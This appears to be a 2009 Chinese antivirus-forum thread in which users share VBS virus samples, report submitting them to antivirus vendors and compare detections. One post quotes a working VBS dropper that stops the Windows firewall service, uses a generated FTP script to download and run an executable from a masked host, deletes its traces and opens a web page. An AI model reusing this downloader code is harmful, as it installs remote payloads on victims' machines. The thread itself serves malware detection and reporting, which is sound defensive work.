2个VBS，过太多了~

显示全部楼层 · 发表于 2009-3-4 18:41:02

已经TO KL

显示全部楼层 · 发表于 2009-3-4 18:42:52

to McAfee

显示全部楼层 · 发表于 2009-3-4 19:04:00

hfthf:
Set ab = CreateObject("Wscript.Shell")
ab.run "cmd /c net stop sharedaccess&echo open www.******tw.com>>t.t&echo 123>>t.t&echo 123>>t.t&echo get v.exe C:\v.exe>>t.t&echo bye>>t.t&ftp -s:t.t&del t.t&c:\v.exe&del %windir%\money.vbs&del c:\v.exe&start http://www.t*f**8*.com/king.jpg",0

TO AVIRA

显示全部楼层 · 发表于 2009-3-4 19:06:43

to rs

显示全部楼层 · 发表于 2009-3-4 19:08:04

17个脚本和一个病毒文件

显示全部楼层 · 发表于 2009-3-4 19:09:57

OSS 16个报
名称: VBS.Psyme.GL
类型: Mutant

其它的to VB

显示全部楼层 · 发表于 2009-3-4 19:12:44

难道这就是nod的启发？？

显示全部楼层 · 发表于 2009-3-4 19:14:55

生成物

显示全部楼层 · 发表于 2009-3-4 19:17:31

这两个是zxc.exe的产物

显示全部楼层 · 发表于 2009-3-4 19:20:16

呵呵当发了那个帖子后我突然转过弯来了呵呵

[病毒样本] 2个VBS，过太多了~

本帖子中包含更多资源

回复 1楼 jijiasd 的帖子

本帖子中包含更多资源

回复 5楼 granthill 的帖子

本帖子中包含更多资源

回复 5楼 granthill 的帖子

本帖子中包含更多资源

回复 9楼 granthill 的帖子

回复 9楼 allinwonderi 的帖子

本帖子中包含更多资源